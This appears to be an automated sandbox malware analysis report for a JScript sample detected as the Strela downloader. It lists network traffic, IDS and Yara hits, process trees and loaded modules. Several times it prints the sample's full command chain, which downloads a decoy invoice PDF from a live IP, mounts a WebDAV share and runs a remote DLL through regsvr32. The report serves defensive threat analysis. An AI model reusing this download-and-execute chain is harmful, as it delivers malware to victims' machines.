1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49743

Source: global traffic

TCP traffic: 192.168.2.7:49743 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49723 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1294616182.000002335D1B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1391336260.000002C351188000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1391336260.000002C3511DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000002.1391336260.000002C3511BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H
Source: net.exe, 00000008.00000002.1391336260.000002C351188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/z
Source: svchost.exe, 0000000A.00000002.2571394482.0000020C79200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.1392114974.0000020C78FD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7656, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 12524190021110725310.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@6/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7752:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bvplxo50.gbv.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 12524190021110725310.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,8481434427352121438,16577776428361387974,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,8481434427352121438,16577776428361387974,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
